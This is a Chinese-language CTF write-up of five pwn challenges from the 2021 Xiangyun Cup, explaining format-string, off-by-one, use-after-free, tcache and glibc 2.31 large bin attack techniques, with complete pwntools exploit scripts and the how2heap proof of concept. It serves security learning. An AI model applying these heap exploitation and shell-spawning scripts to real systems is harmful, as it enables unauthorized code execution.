【pwn】2021 祥云杯 (部分)

【pwn】2021 祥云杯 (部分)

前言

国庆的最后几天,一直在补题,发现祥云杯那个时候一道堆题都不会,直接开始补题。

补题过程中,发现自己还是太菜了,对着师傅们的wp都有些不明白.jpg

1、note

这应该是祥云杯里最简单的题目了QAQ。但是之前没有学过IO,参考一位师傅写的这篇博客,pwn题堆利用的一些姿势 – IO_FILE

image-20211007113856091

漏洞点在于scanf的格式化字符串,可以任意位置写。发现stack中有_IO_2_1_stdout_那么,我们写入p64(0xfbad1800) + p64(0)*3来泄露libc,最后再用scanf的任意写,向malloc_hook中写入one_gadget,用realloc_hook调栈帧,从而getshell

image-20211007104607121

exp如下

def cmd(idx):
    sla(":",str(idx))

def add(size,content="a"):
    cmd(1)
    sla(":",str(size))
    sla(":",content)
    ru("0x")
    return(i16(r(12)))

def say(buf,content):
    cmd(2)
    sa("?",buf)
    sla("?",content)


say(b"%7$s",p64(0xfbad1800) + p64(0)*3)
libc.address = uu64(ru(b"\x7f",False)[-6:])-(0x7f2ee70626e0-0x7f2ee6c9f000)
leak("libc_base",libc.address)

malloc_hook = libc.sym["__malloc_hook"]
realloc_hook = malloc_hook-0x8
realloc = libc.sym['realloc']
ogs = og(libc.path)[1] + libc.address
leak("malloc_hook",malloc_hook)

say(b"%7$saaaa"+p64(realloc_hook),p64(ogs)+p64(realloc+0x8))
# dbg()
cmd(1)
sla(":","10")

ia()

image-20211007104851876

2、JigSaw’sCage

这题首先需要得到一个具有可执行权限的chunk,通过v1的整数溢出来将v2改写

image-20211007105316505

然后就是申请堆块写入shellcode,一段shellcode的最大长度为0x10

看了很多wp,有分很多小段写入shellcode的师傅,也有通过非常精妙的寄存器执行read函数再来执行的sh()的shellcode,这里用wjh师傅的超短shellcode

我们注意到test函数就是执行我们写入堆中的shellcode,并且是通过call rdx来调用,这里的rdx就是heap的地址,并且在call之前是将eax置为0了,而read函数的系统调用号也是0。

image-20211007105842179

所以我们只需要来构建一个read(0,heap,0x1000),就可以向heap段写入0x1000大小的内容,并且具有可执行权限,所以直接向其中输入shellcraft.sh()就可以了,在这之前使用nop滑梯就完成了!

shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# shellcode 最长0x10,	充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,并且 eax 给置 0 
# 进行 0 号系统调用 read 读到我们正在执行的 heap 中0x1000大小

完整exp如下:

sla("Name:","woodwhale")
sla("Make your Choice:",str(u64(p32(0)+p32(15))))

# add 0
sla("Choice : ","1")
sla("Index? : ","0")

shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
shellcode = asm(shellcode)

# edit 0
sla("Choice : ","2")
sla("Index? : ","0")
sla("iNput:",shellcode)

# test 0
sla("Choice : ","4")
sla("Index? : ","0")

# get shell
sl(b'\x90' * 0x10 + asm(shellcraft.sh()))
# dbg()
ia()

image-20211007110415606

3、PassWordBox_FreeVersion

这题的话,有一个加密操作,用key和咱们box中的content进行xor加密,如果我们的content为空,那么就会输出key

image-20211007110754734

这里用到add()函数中的一个off by one漏洞,真的是显而易见

image-20211007111027142

因为这题的edit函数只能操作一次,所以我们需要给到一个free_chunk的fd指针改为一个hook

image-20211007111111672

那么我们只能通过堆叠的操作来得到free_hook,并向其中写入system,最后free(“sh”)就能getshell了

完整exp如下:

# leak key
add("a",0x18,"\x00"*8+"\n") # 0
ru(" Save ID:")
key = uu64(r(8))
leak("key",key)

# 构造堆叠
add("1",0xf0,"\x00"*8+"\n") # 1
add("2",0x80,"\x00"*8+"\n") # 2
add("3",0x80,"\x00"*8+"\n") # 3
add("4",0xf0,"\x00"*8+"\n") # 4

for i in range(5,12):
    add(str(i),0xf0,"\x00"*8+"\n") # 5-11
for i in range(7):
    free(5+i)

free(3)
# 伪造prev size进行向上合并,可以使用指针2
add("3",0x88,b"\x00"*0x80+p64((0x100 + 0x90 + 0x90)^key)+b"\x00")
free(1)
free(4)
for i in range(7):
    add(str(i+5),0xf0,"\x00"*8+"\n")    # 5-11
add("1",0xf0,"\x00"*8+"\n") # 1

# leak libc
show(2)
ru("Pwd is: ")
malloc_hook = (u64(r(8))^key) - 112
leak("malloc",malloc_hook)
libc.address = malloc_hook - libc.sym["__malloc_hook"]
leak("base",libc.address)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]

# free_hook写入system,free("sh")来getshell
add("11",0x80,p64(0^key)*4+b"\n")
add("12",0x80,p64(0^key)*4+b"\n")
free(11)
edit(2,p64(free_hook))
add("11",0x80,p64(0x6873^key)*4+b"\n")	# "sh" -> 0x6973
add("12",0x80,p64(system^key)*4+b"\n")
free(11)

ia()

image-20211007113128804

4、PassWordBox_ProVersion

这题真的是学到新东西了,libc版本是比较新的2.31,所以很多攻击都失效了,这里使用的是对我来说船新的large bin attack,参考一位师傅的这篇博客,[阅读型]glibc-2.31中的tcache stashing unlink与large bin attack,还有how2heap的2.31中的large bin attack

1. large bin attack

在开始分析题目之前,我们来了解一下glibc2.31中的large bin attack与网上多数的2.23的large bin attack不一样)

作用:任意地址写大数(这个大数其实是chunk指针)

条件:可以更改chunk的bk_next指针

以下是how2heap中的2.31的large bin attack源码

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
		fwd = bck;
		bck = bck->bk;
		victim->fd_nextsize = fwd->fd;
		victim->bk_nextsize = fwd->fd->bk_nextsize;
		fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
	}


*/

int main(){
    
    
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
  
  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

运行结果:

image-20211007114524772

如何构造?

  • ptr1比ptr2大,申请了ptr1之后将其free
  • malloc一个比ptr1大的chunk(为了让ptr1进入large bin)
  • free掉ptr2,将ptr1的bk_next改为target-0x20的地址
  • malloc一个比ptr2大的chunk(让ptr2进入large bin)

至此,target成为了ptr2的地址值

2. tcache

我们看看tcache_perthread_struct结构体的源码

typedef struct tcache_perthread_struct
{
    
    
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;
  • tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk
  • counts 记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk

tcache_entry数组的大小为TCACHE_MAX_BINS,其实这就是tcache的最大数量,宏定义为64

结合large bin attac,如果我们可以将这个TCACHE_MAX_BINS数改成一个大数,那么是不是我们每次malloc的chunk块free之后都会进入tcache呢?!

答案是肯定的!

3. 漏洞利用

  1. 和上一题一样,仍然是通过box的content为空来泄露key值

  2. 因为add函数中只能malloc大于0x41F的chunk,所以考虑large bin attack

    image-20211007122200365

  3. delete函数中明显的uaf,没有将ptr指针置为0

    image-20211007122256882

  4. 与上一题相比,edit没有次数限制

综上,我们使用large bin attac攻击TCACHE_MAX_BINS成为一个大数,然后改写free_hook为system,free(“sh”)

完整exp如下:

add(0,0x528,"\n")
ru("Save ID:")
key = uu64(r(8))
leak("key",key)

add(1,0x500,"\n")
add(2,0x518,"\n")
add(3,0x500,"\n")
add(4,0x500,"\n")

free(0)
recover(0)
show(0)
ru("Pwd is: ")
libc.address = (uu64(r(8)) ^ key) - (0x7f18037d3bea-0x7f18035e8000)
leak("base",libc.address)

add(5,0x538,"\n")   # put 0 to large bin

tcache_max_bins = libc.address + 0x1eb2d0
tcache_struct = libc.address + 0x1f3530
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
leak("tcache_max_bins",tcache_max_bins)

free(2)
recover(2)
show(0)
ru("Pwd is: ")
fd = uu64(r(8)) ^ key
r(8)
fd_next = uu64(r(8)) ^ key
edit(0,p64(fd)*2+p64(fd_next)+p64(tcache_max_bins-0x20))

# set tcache_max_bins to vary big
add(6,0x530,"\n")   # put 2 to largebin

sleep(1)
free(1)
free(4)
recover(4)
edit(4,p64(free_hook))
add(7,0x500,"\n")
add(8,0x500,"\n")
edit(8,p64(system))
# dbg()
sleep(0.1)

edit(3,b"/bin/sh\x00")

# dbg()
free(3)

# dbg()

ia()

image-20211007122449021

这题比较坑的就是large bin attack后,gdb调试使用par指令查不到,只能用heap,调试就很烦Orz

5、lemon

这题我觉得是祥云杯这几题里最难的了QAQ,我调了一个下午+一个晚上…

比赛的时候pwn神师傅穿了真的是tqltql,感谢pwn神师傅niyah的libc2.26帮助

(虽然glibc是yyds,但是old_list里的libc2.26资源被删了阿!!!无法下载QAQ)

1. main

main函数中有一个open("./flag",0)很显眼,而而执行他的条件是v4>0,而v4又是一个函数的返回值

image-20211007123058082

2. sub_DF3

我们跟进这个函数,因为自己逆向太拉了,所以参考了一位师傅的2021 祥云杯 pwn lemon_pwn,分析很完整

image-20211007123205388

image-20211007123532396

我直接输入“1111”发现也是可以的

这样,我们就将flag的内容写入了stack上

3. menu

然后就进入了常规的菜单了,四个函数都有

image-20211007123653420

add中有个uaf

image-20211007123724093

show可以泄露chunk后四位地址

image-20211007123809070

delete删除的很干净,就没的说了

edit函数有一个数组越界,只能edit一次

image-20211007123916524

4. 漏洞利用

我们利用uaf、tcache double free和数组越界来通过stdout读取stack中的flag

  1. 先用数组越界来更改stdout,从而获取libc_base

    image-20211007124202103

    image-20211007124217086

    通过bss段计算ptr_list与stdout的偏移为0x10c

    image-20211007124336674

    更改stdout为p64(0xfbad3887)+p64(0)*3+p8(0)这样泄露出来的第一个addr是_IO_2_1_stdin_

  2. 通过libc2.26的tcache的double free来构造chunk,最后申请到tcache的管理块,改写管理块

  3. 改写tcache为_IO_2_1_stdout_-0x33(类似fast bin,绕过检测)
    image-20211007131054641

  4. 改写stdout为p64(0xfbad1887)+p64(0)*3+p64(libc.sym["environ"])+p64(libc.sym["environ"]+0x10)[0:5]

    泄露stack environ

  5. free tcache管理块并再次申请,改写为_IO_2_1_stdout_-0x33

  6. 再次改写stdout为flag的address(在此之前动调偏移量),打印flag

exp如下:

def cmd(idx):
    sla(">>>",str(idx))

def add(index,name,size,content,flag=True):
    cmd(1)
    sla("Input the index of your lemon: ",str(index))
    sa("Now, name your lemon: ",name)
    sla("Input the length of message for you lemon: ",str(size))
    if flag:
        sa("Leave your message: ",content)

def show(index):
    cmd(2)
    sla("Input the index of your lemon : ",str(index))

def free(index):
    cmd(3)
    sla("Input the index of your lemon : ",str(index))

def edit(index,content):
    sleep(1)
    cmd(4)
    sla(":",str(index))
    ru("Now it's your time to draw and color!")
    s(content)
    
def pwn():
    info("flag to stack")
    sla("game with me?","yes")
    sla("number:","1111")
    sla("first:","woodwhale")
    ru("0x")
    stack_offset = i16(r(3))
    leak("stack_offset",stack_offset)

    info("IO_stdout leak libc")
    add(0,p64(0)+p64(0x31),0x10,p64(0)+p64(0x31))
    edit(-0x10c,p64(0xfbad3887)+p64(0)*3+p8(0))     # io_stdout leak libc
    libc.address = uu64(ru(b"\x7f",False)[-6:])-(0x7f28418aa3e0-0x7f28414d3000)
    leak("base",libc.address)
    ru("1. Get a lemon")
    
    info("tcache double free")
    add(0,p64(0)+p64(0x31),0x500,null,False)
    free(0)

    add(1,p8(0xc0),0x100,"aaa")
    # dbg()
    add(1,p64(0)+p64(0x30),0x100,"aaa")
    # dbg()
    show(1)
    sleep(0.1)
    ru("eat eat eat ")
    heap_addr = int(r(5),10)
    leak("heap_addr",heap_addr)

    # dbg()
    add(2,p64(libc.sym["__free_hook"])+p16(heap_addr-0x2b0+0x10),0x100,"aaa")
    free(1)
    # dbg()
    add(3,'3',0x240,
        p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)+
        p64(0)*5+p64(libc.sym["_IO_2_1_stdout_"]-0x33)*10 
    )
    dbg()
    add(0,"0",0x60,
        b"a"*(0x33-0x10)+p64(0x71)*2+
        p64(0xfbad1887)+p64(0)*3+p64(libc.sym["environ"])+p64(libc.sym["environ"]+0x10)[0:5]
    )
    # dbg()
    stack = uu64(ru("\x7f",False)[-6:])
    leak("stack_info",stack)
    # dbg()
    free(3)
    add(3,'3',0x240,
        p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)+
        p64(0)*5+p64(libc.sym["_IO_2_1_stdout_"]-0x33)*10 
    )
    add(0,"0",0x60,
        b"a"*(0x33-0x10)+p64(0x71)*2+
        p64(0xfbad1887)+p64(0)*3+p64(stack-0x188)+p64(stack-0x178)[:5]
    )
    ru("\n")
    flag = ru("}",False)
    info(f"{
      
      flag}")
    ia()
    
hack(pwn)

image-20211007130906162

总结

国庆补题结束,马上就是省赛了,我equals菜狗!别爆0就是胜利!

猜你喜欢

转载自blog.csdn.net/woodwhale/article/details/120635062